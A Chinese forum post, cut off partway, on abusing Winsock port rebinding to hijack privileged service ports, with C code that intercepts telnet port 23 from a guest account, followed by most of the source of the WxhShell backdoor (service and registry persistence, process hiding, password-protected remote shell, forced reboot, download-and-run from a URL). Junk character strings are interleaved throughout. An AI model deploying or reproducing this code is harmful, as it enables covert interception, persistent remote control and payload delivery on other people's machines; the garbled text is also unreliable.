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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;_mgiKHg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k2EHco0BG  
y;Qy"-)qb  
  saddr.sin_family = AF_INET; D:=t*2-Iv  
)l`1)Ea~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 't +"k8  
r_b8,I6{]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v6wRME;JA  
_*O7l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3p:=xL  
Z5((1J9  
  这意味着什么?意味着可以进行如下的攻击: jCU=+b=  
\Dn&"YG7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z%OuI 8"'  
qBT_! )h   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &MCy.(jN  
L +L 9Y}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;tJWOm  
:]vA 2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iV5}U2Vh  
sW }<zGYd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cNe0x2Z$?  
6ayy[5tW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U z"sdi  
?n)Xw)]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z:K+I+:t  
$z*@2Non  
  #include >BBl 7  
  #include cppL0myJ  
  #include O`cdQu  
  #include    H5~1g6b@  
  DWORD WINAPI ClientThread(LPVOID lpParam);    }VF#\q  
  int main() 3pB}2]  
  { 8EOh0gk7  
  WORD wVersionRequested; n'T He|:I  
  DWORD ret; ?N:B  
  WSADATA wsaData; rvW!7 -R  
  BOOL val; 2;8Xz 6T  
  SOCKADDR_IN saddr; $30oc Tt{  
  SOCKADDR_IN scaddr; W7t >&3l  
  int err; |~z3U>  
  SOCKET s; Odm#wL~E  
  SOCKET sc; xdPcsox~  
  int caddsize; YQ; cJ$  
  HANDLE mt; N1%p"(  
  DWORD tid;   f0vJm  
  wVersionRequested = MAKEWORD( 2, 2 ); WP}ixcq#  
  err = WSAStartup( wVersionRequested, &wsaData ); C@1CanL@3  
  if ( err != 0 ) { Q8p=!K  
  printf("error!WSAStartup failed!\n"); m# JI!_~!  
  return -1; g6WPPpqus  
  } X2qv^G,  
  saddr.sin_family = AF_INET; HN{zT&  
   QIQfI05  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2Zy_5>~  
R~)ybf{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nP<S6:s:  
  saddr.sin_port = htons(23); S.{fDcM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q(78fZ *X  
  { 3QW_k5o  
  printf("error!socket failed!\n"); ]fZ<`w8u}  
  return -1; /#f^n]v  
  } {3LA%xO  
  val = TRUE; KF_?'X0=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %`e`g ^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M i]I:ka  
  { (?vK_{  
  printf("error!setsockopt failed!\n"); 8!&nKy<Y  
  return -1; $xT1 1 ^  
  } D|l,08n"?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [& ^RP,N~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /be=u@KV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n#4Gv|{XMD  
I.1D*!tz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y6A;AmM8  
  { t0q_>T-kt  
  ret=GetLastError(); OiF{3ae(  
  printf("error!bind failed!\n"); iwU[6A  
  return -1; =Q-k'=6\  
  } );Z]SGd  
  listen(s,2); 2:Q(Gl`<l  
  while(1)  ;\qXbL7  
  { P>(P2~$Y"  
  caddsize = sizeof(scaddr); *:g_'K"+  
  //接受连接请求 gyev5txn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Fi4UaJ3K  
  if(sc!=INVALID_SOCKET) rFey4zzz  
  { pLnB)z?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *t(4 $  
  if(mt==NULL) wO7t!35  
  { 4/'N|c.  
  printf("Thread Creat Failed!\n"); XV>@B $hu  
  break; :Xfn@>;3ui  
  } &+01+-1hW  
  } 6V1:qp/6  
  CloseHandle(mt); $e }n  
  } l'6d4 DZ  
  closesocket(s); !77NG4B  
  WSACleanup(); )MSZ2)(  
  return 0; +6l]]*H  
  }   H=p`T+  
  DWORD WINAPI ClientThread(LPVOID lpParam) -R0/o7  
  { .po>qb6  
  SOCKET ss = (SOCKET)lpParam; (u&`Ij9  
  SOCKET sc; \K7t'20  
  unsigned char buf[4096]; T_LLJ}6M  
  SOCKADDR_IN saddr; M&KyA  
  long num; L%t@,O#,  
  DWORD val; [|RjHGf  
  DWORD ret; zXZir7NfM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y/fJQ6DY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \S ."?!U  
  saddr.sin_family = AF_INET; aC!EWgwW[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M:n6BC>t"  
  saddr.sin_port = htons(23); ab.tH$:<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xj@+{uvQB  
  {  |yKud  
  printf("error!socket failed!\n"); X(*!2uS  
  return -1; 8Lz]Z h=ZU  
  } O=}g 4c  
  val = 100; asVX82<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) },@``&e  
  { ^YlI>_3s  
  ret = GetLastError(); )8,|-o=  
  return -1; gb" 4B%Hm  
  } #_JYh?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8)j@aiF`  
  { YcDe@Zuwn  
  ret = GetLastError(); C vDxq:x  
  return -1; `@Oa lg  
  } w7TJv4_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Vzg=@A#  
  { 2C=Q8ayvX  
  printf("error!socket connect failed!\n"); nZk +  
  closesocket(sc); nw6pV%  
  closesocket(ss); 5(m(xo6  
  return -1; %,P >%'0  
  } F@YKFk+a  
  while(1) xHA0gZf  
  { EGVM)ur  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3=mr "&]r:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 78 f$6J q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =r2]uW9  
  num = recv(ss,buf,4096,0); B1!kn}KlL{  
  if(num>0) hz:pbes  
  send(sc,buf,num,0); pzZk\-0R  
  else if(num==0) C[sh,  
  break; H`9Uf)  
  num = recv(sc,buf,4096,0); w_tJ7pz8T  
  if(num>0) D{8PQ2x>  
  send(ss,buf,num,0); dT"hNHaf  
  else if(num==0) ;&b.T}Nf06  
  break; +]Zva:$#`  
  }  VqSc;w  
  closesocket(ss); KqY["5p  
  closesocket(sc); )!:sFa 1  
  return 0 ; PNs~[  
  } mHc>"^R  
58Xzup_"  
2Os1C}m  
========================================================== (t+;O;  
I#F!N6;  
下边附上一个代码,,WXhSHELL : 18KR*;p  
8,P- 7^  
========================================================== r0;:t   
"hxN!,DEZ  
#include "stdafx.h" bNs4 5hDP  
TfYVw~p_%  
#include <stdio.h> *iBTI+"]  
#include <string.h> 8Me:Yp_Xt  
#include <windows.h> :}8Z@H!KkY  
#include <winsock2.h> U1_@F$mq<  
#include <winsvc.h> "5R~(+~<@  
#include <urlmon.h> ?'86d_8  
_|[UI.a  
#pragma comment (lib, "Ws2_32.lib") ~c^>54  
#pragma comment (lib, "urlmon.lib") IJYL s  
klg25#t  
#define MAX_USER   100 // 最大客户端连接数 M>9-=$7  
#define BUF_SOCK   200 // sock buffer ^z1&8k"[^  
#define KEY_BUFF   255 // 输入 buffer LEMfG~Czq  
DI+]D~N  
#define REBOOT     0   // 重启 d@`M CchCB  
#define SHUTDOWN   1   // 关机 voP7"Dl[  
wN1niR'  
#define DEF_PORT   5000 // 监听端口 |8> 3`w!  
[[PEa-992  
#define REG_LEN     16   // 注册表键长度 poGc a1  
#define SVC_LEN     80   // NT服务名长度 !tfb*@{;'  
;c~cet4  
// 从dll定义API S#)Eom?V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /Jf.y*;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FuI73  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r.3/F[.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j 8*ZF  
mMsTyM-f  
// wxhshell配置信息 t@u7RL*n:<  
struct WSCFG { w(kf  
  int ws_port;         // 监听端口 pyLRgD0 g  
  char ws_passstr[REG_LEN]; // 口令 kB?al#`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]f+ csB  
  char ws_regname[REG_LEN]; // 注册表键名 p' M%XBu  
  char ws_svcname[REG_LEN]; // 服务名 3_~cMlr3T.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \fA{1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Eskb9^A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7VcmVq}X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~U;rw&'H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S*j6OwZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IDnC<MO>  
y_\p=0t8  
}; }*.0N;;C  
? A(QyaKz  
// default Wxhshell configuration xX*H7#  
struct WSCFG wscfg={DEF_PORT, x77l~=P+!  
    "xuhuanlingzhe", fP.F`V_Y  
    1, PV|uPuz  
    "Wxhshell", ^Ge+~o?x  
    "Wxhshell", T]2q?; N  
            "WxhShell Service", tOfg?)h{dc  
    "Wrsky Windows CmdShell Service", ]-ZEWt6lsc  
    "Please Input Your Password: ", me[DmiM,  
  1, 7AYd!n&S  
  "http://www.wrsky.com/wxhshell.exe", 0-~\ W(  
  "Wxhshell.exe" Fx-8M!  
    }; 9U$EJN_G  
T&Lb<'f  
// 消息定义模块 ^i:`ZfA#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8_T6_jL<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !\&;h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z9aY]lHY  
char *msg_ws_ext="\n\rExit."; K~@Mg1R  
char *msg_ws_end="\n\rQuit."; A&nU]R8S  
char *msg_ws_boot="\n\rReboot..."; C@th O  
char *msg_ws_poff="\n\rShutdown..."; xg)v0y~  
char *msg_ws_down="\n\rSave to "; k0T?-iM  
<.Nx[!'~&d  
char *msg_ws_err="\n\rErr!"; G:zua`u[  
char *msg_ws_ok="\n\rOK!"; Me 5_4H&Sg  
|SyMngIY  
char ExeFile[MAX_PATH]; r*Yi1j/  
int nUser = 0; }Ho Qwy|&  
HANDLE handles[MAX_USER]; 6Cn+e.j@  
int OsIsNt; _i/t?7  
_YF%V;X  
SERVICE_STATUS       serviceStatus; 6/rFHY2q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X7s `U5'l  
^tXJj:wtS  
// 函数声明 ]c! ;L5  
int Install(void); .A6(D$ O k  
int Uninstall(void); K)J(./  
int DownloadFile(char *sURL, SOCKET wsh); 7b<yVP;{  
int Boot(int flag); ULQMG'P^D  
void HideProc(void); hWX% 66  
int GetOsVer(void); \Gc+WpS(  
int Wxhshell(SOCKET wsl); Z)jw|T'X  
void TalkWithClient(void *cs); {mAU3x  
int CmdShell(SOCKET sock); i&VsW7  
int StartFromService(void); _cXqAo  
int StartWxhshell(LPSTR lpCmdLine); S#+h$UVh  
s8}@=]aA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #5V9o KM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uDEvzk42  
hZ.Z3`v70  
// 数据结构和表定义 L:FoSCN Y(  
SERVICE_TABLE_ENTRY DispatchTable[] = 'nF2aD%A  
{ vd8{c7g:n  
{wscfg.ws_svcname, NTServiceMain}, 0}b tXh  
{NULL, NULL} 0:+WO%z  
}; fl\ly `_  
j$+nKc$  
// 自我安装 TA{\PKA)  
int Install(void) g1jTy7g?  
{ ~Q\3pI. |  
  char svExeFile[MAX_PATH]; l8?>>.<P=  
  HKEY key; 2$Tj84'X  
  strcpy(svExeFile,ExeFile); #5f-`~^C{  
M@5?ZZ4L  
// 如果是win9x系统,修改注册表设为自启动 f"<O0Qw  
if(!OsIsNt) { xP[n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /n>qCuw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M%@!cW  
  RegCloseKey(key); K"r*M.P>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X-wf:h?i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1PpyVf  
  RegCloseKey(key); qzTuxo0B  
  return 0; )a-Du$kd  
    } "sG=wjcw^  
  } E@ESl0a;  
} nJo`B4'U  
else { NUp<e%zB  
%@u;5qD&  
// 如果是NT以上系统,安装为系统服务 Sv +IS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OVV]x{  
if (schSCManager!=0) NgY =&W,  
{ d!$Z (W0  
  SC_HANDLE schService = CreateService 7k rUKYVo  
  ( _ ]Z s,Hy  
  schSCManager, q#s,- uu  
  wscfg.ws_svcname, !TUrQ  
  wscfg.ws_svcdisp, R=|{n'n$0|  
  SERVICE_ALL_ACCESS, ;1a~pF S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !1ED~3 /X  
  SERVICE_AUTO_START, Z /9>  
  SERVICE_ERROR_NORMAL, CO`_^7o9(  
  svExeFile, 6b:tyQ  
  NULL, sJDas,7>  
  NULL,  Y*14v~\'  
  NULL, /K(o]J0F  
  NULL, THS.GvT9[  
  NULL |cR;{Z8?_  
  ); ` eXaT8  
  if (schService!=0) ]bK=FIK2  
  { 9pX&ZjYP-  
  CloseServiceHandle(schService); T87 m?a$  
  CloseServiceHandle(schSCManager); 8p:j&F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g4l !xT  
  strcat(svExeFile,wscfg.ws_svcname); /bi}'H+#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sIxTG y.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;LMJd@  
  RegCloseKey(key); ihfiK|a  
  return 0; W' s  
    } ROous4MG  
  } )/wk ( O+  
  CloseServiceHandle(schSCManager); K2<9mDn&  
} wbst8 *$  
} h]TQn)X]  
[DF,^4g  
return 1; 7D;cw\ |  
} hUF5fZqii  
oIduxbAp  
// 自我卸载 ,.7*Hpa  
int Uninstall(void) lb3]$Da  
{ urjjw.wZ  
  HKEY key; 0`[wpZ  
 m5r7  
if(!OsIsNt) { lQe%Yh >rl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BDjn !3  
  RegDeleteValue(key,wscfg.ws_regname); 0DJ+I  
  RegCloseKey(key); +Nt2 +Y:O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LRNh@g4ei  
  RegDeleteValue(key,wscfg.ws_regname); 9;B0Mq py  
  RegCloseKey(key); iy%ZQ[Un  
  return 0; dfij|>:*0  
  } 8]U{;|';  
} RE/~#k@a  
} 1fZ(l"  
else { u)~C;f)  
 7*?}:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E<Q f!2s$  
if (schSCManager!=0) RH&~+5  
{ U4b0*`o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (w}H]LQ  
  if (schService!=0) P7{gfiB  
  { Uk6HQQ  
  if(DeleteService(schService)!=0) { x;8A!8w  
  CloseServiceHandle(schService); AD|2q M))  
  CloseServiceHandle(schSCManager); ce7CcHQ?B  
  return 0; w.\&9]P3~  
  } 1q,{0s_kp  
  CloseServiceHandle(schService); 23DiW#o'  
  } OUhqM VX9C  
  CloseServiceHandle(schSCManager); Kq;8=xP[  
} 7eV di*  
} ;e1ku|>$  
M)2VcDy  
return 1; opc/e  
} ~NpA".PB  
[O?z@)dx  
// 从指定url下载文件 5nKj )RH7M  
int DownloadFile(char *sURL, SOCKET wsh) xo&]$W8  
{ $7rq3y  
  HRESULT hr; !Ikt '5/  
char seps[]= "/"; ]%IT|/;9Y  
char *token; (adyZ/j  
char *file; F;7dt@5;  
char myURL[MAX_PATH]; 7G/1VeVjB  
char myFILE[MAX_PATH]; Pc NkAo  
YJJB.hR+  
strcpy(myURL,sURL); IX>d`O61*g  
  token=strtok(myURL,seps); \uaJ @{Vug  
  while(token!=NULL) <gQIq{B?  
  { Ir qZi1  
    file=token; ):b$xNn  
  token=strtok(NULL,seps); TX&Jt%  
  } xUa{1!Y8  
c'S,hCe*  
GetCurrentDirectory(MAX_PATH,myFILE); M!REygyx  
strcat(myFILE, "\\"); F!]lU`z)=  
strcat(myFILE, file); 7~5ym15*  
  send(wsh,myFILE,strlen(myFILE),0); ?B}{GL2)  
send(wsh,"...",3,0); #0y)U;dA+w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A m>cd;  
  if(hr==S_OK) Fd[zDz  
return 0; 4}eepJOn  
else qa0 yg8,<  
return 1; $ >u*} X9  
{z")7g ]l  
} -bSSP!f  
2kIa*#VOJ  
// 系统电源模块 7Z-O_h3;)@  
int Boot(int flag) Vv.|br`;}  
{ R' !  
  HANDLE hToken; br":y>=,  
  TOKEN_PRIVILEGES tkp; {;:/-0s  
IHcD*zQ  
  if(OsIsNt) { 9 mmCp&~Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B#.L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b"#WxgaF  
    tkp.PrivilegeCount = 1; Y}#J4i0b*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d;>#Sxf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,^eYlmT>6  
if(flag==REBOOT) { \ywXi~+kUv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iC9 8_o_9  
  return 0; f;xkT  
} y&?6FY  
else { C'o64+W^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ! 3 f?:M  
  return 0; =[@zF9  
} oaoU _V  
  } ?6fnpGX@a  
  else { @AIaC-,~]  
if(flag==REBOOT) { M>i9i -dU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S&b*rA02zp  
  return 0; \4-"L>  
} OeS\7  
else {  ng_^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o!{w"K  
  return 0; 2M68CE  
} 7]||UuF<  
} o'f?YZ$.  
{:]9Q Tq  
return 1; e=.njMqW5  
} LRb{hUt=  
p%*%n3bw  
// win9x进程隐藏模块 A<qTg`gA  
void HideProc(void) xK6n0] A  
{ @EnuJe  
n=c 2K c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q(.:9A*0  
  if ( hKernel != NULL ) EuyXgK>g  
  { OG~6L4"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3 %|86:*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3P^sM1  
    FreeLibrary(hKernel); 'F$l{iR  
  } PEuIWXr  
7,lq}a8z  
return; 7zSLAHW  
} lMg+R<$~I  
j+["JXy  
// 获取操作系统版本 @++.FEf  
int GetOsVer(void) 1M 781  
{ ZGYr$C~  
  OSVERSIONINFO winfo; O2f-5Y$@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G %Q^o5m  
  GetVersionEx(&winfo); i-6F:\;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +E.GLn2 /  
  return 1; <oX7P69  
  else !WpBfd>v.I  
  return 0; h >s!K9  
} BC&9fr  
4bn(zyP  
// 客户端句柄模块 HY%i`]4X  
int Wxhshell(SOCKET wsl) f^"N!f a  
{ Ko&>C_N  
  SOCKET wsh; =yyp?WmC8  
  struct sockaddr_in client; j"'(sW-  
  DWORD myID; m|:_]/*qE  
!=:$lzS^  
  while(nUser<MAX_USER) /x[jQM\  
{ 7|[mz> "d  
  int nSize=sizeof(client); vDxe/x%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B9H@e#[  
  if(wsh==INVALID_SOCKET) return 1; 8'4S8DM  
"t_-f7fS7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U}PiY"S<  
if(handles[nUser]==0) R5 9S@MsuD  
  closesocket(wsh); "G@g" gP  
else mM-8+H?~b  
  nUser++; ktdW`R\+  
  } $+3}po\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X7i/fm{l'  
kT!9`S\  
  return 0; @Q/-s9b  
} 82QGS$0V  
/(BMG/Tb  
// 关闭 socket _cJ2\`M  
void CloseIt(SOCKET wsh) iIq)~e/ Z  
{ hijgF@  
closesocket(wsh); 8qEVOZjV&  
nUser--; vOc 9ZE  
ExitThread(0); P}TI q#  
} mHBnC&-/  
T<w5vqFDu  
// 客户端请求句柄 cvfr)K[0  
void TalkWithClient(void *cs) E7Y`|nT  
{  uJ5Eka  
m:WyuU<  
  SOCKET wsh=(SOCKET)cs; , eZ1uBI?  
  char pwd[SVC_LEN]; D*F4it.  
  char cmd[KEY_BUFF]; D6G oa(!9d  
char chr[1]; eQD)$d_5  
int i,j; Y>EzTV  
-!N&OZ+R   
  while (nUser < MAX_USER) { [h34d5'w  
F>-B 3x  
if(wscfg.ws_passstr) { .G)(0z("s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -:Ia^{YN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cg m~>  
  //ZeroMemory(pwd,KEY_BUFF); L.1_(3NG  
      i=0; ]jaQ[g$F  
  while(i<SVC_LEN) { P3nb2.  
N.]qU d  
  // 设置超时 8qu2iPOcZ  
  fd_set FdRead; }= 6'MjF]  
  struct timeval TimeOut; 0VGPEKRh  
  FD_ZERO(&FdRead); L_+k12lm  
  FD_SET(wsh,&FdRead); k'IYA#T6  
  TimeOut.tv_sec=8; R@6zGZ1  
  TimeOut.tv_usec=0; jlBanGs?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i]|Yg$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); we;G]`@?  
wm$}Pch  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1I<rXY(a`  
  pwd=chr[0]; {6c2{@  
  if(chr[0]==0xd || chr[0]==0xa) { pm\x~3jHs  
  pwd=0; 'iGzkf}j  
  break; $;/}?QY(  
  } *IY*yR6  
  i++; 1!1 beR]  
    } l*kPOyB  
Zuw?58RE\  
  // 如果是非法用户,关闭 socket '`XX "_k3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PG_0\'X)/w  
} 9v }G{mQ#  
;M_o)OS3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q|v(Edt|_[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]"1`+q6i  
I-WhH>9  
while(1) { 0em#-*|2"  
KA){''>8  
  ZeroMemory(cmd,KEY_BUFF); & M~`:R  
LF~*^n>  
      // 自动支持客户端 telnet标准   Ircp``g  
  j=0; e|p$d:#!  
  while(j<KEY_BUFF) { USVqB\#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KTn}w:+B\  
  cmd[j]=chr[0]; mN>h5G>a  
  if(chr[0]==0xa || chr[0]==0xd) { h|h>u ^@  
  cmd[j]=0; 3v mjCm  
  break; )Jk0v_ X  
  } <oWB0%  
  j++; DWID$w  
    } &/uu)v  
&%s8L\?  
  // 下载文件 '{J&M|<A  
  if(strstr(cmd,"http://")) { <YOLxR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AjT%]9 V?  
  if(DownloadFile(cmd,wsh)) Gu'rUo3Do  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pj4/xX  
  else *+\S yO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SnFk>`  
  } ( @3\`\X  
  else { tX@_fYb  
F8uNL)gKj)  
    switch(cmd[0]) { kH4Ai3#g  
  E/09hD Q  
  // 帮助 p8\zG|b5  
  case '?': { PC[c/CoD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B';6r4I-  
    break; XP1~d>j  
  } XvE9 b5}  
  // 安装 e][B7wZ  
  case 'i': { /,X[k !  
    if(Install()) *3&fqBg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ty<L8+B|  
    else AN24Sf'`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K)-m*#H&uw  
    break; xw3YK!$sIF  
    } 6X\ 2GC9  
  // 卸载 7\9>a  
  case 'r': { {qmdm`V[  
    if(Uninstall()) o.'g]Q<}UB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TP"1\O  
    else %^8^yZz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RtCkVxaEx  
    break; 5e}A@GyC  
    } OzQ -7|m'J  
  // 显示 wxhshell 所在路径 ]Lm9^q14m  
  case 'p': { 7yx$N n`(  
    char svExeFile[MAX_PATH]; >A<bBK#  
    strcpy(svExeFile,"\n\r"); _^ 'I  
      strcat(svExeFile,ExeFile); V`RNM%Y  
        send(wsh,svExeFile,strlen(svExeFile),0); :pF_GkG  
    break; a?6a b+7#  
    } qKE:3g35  
  // 重启 n':!,a[  
  case 'b': { `d[1`P1i[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zt<WXw(  
    if(Boot(REBOOT)) Y= ]dvc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GHHav12][  
    else { bg3"W,bv%  
    closesocket(wsh); Ga^Zb^y  
    ExitThread(0); 8-lOB  
    } 5 gv/Pq&  
    break; oX DN+4ge  
    } )6w}<W*1E  
  // 关机 fnNYX]_bk  
  case 'd': { T`9u!#mT=  
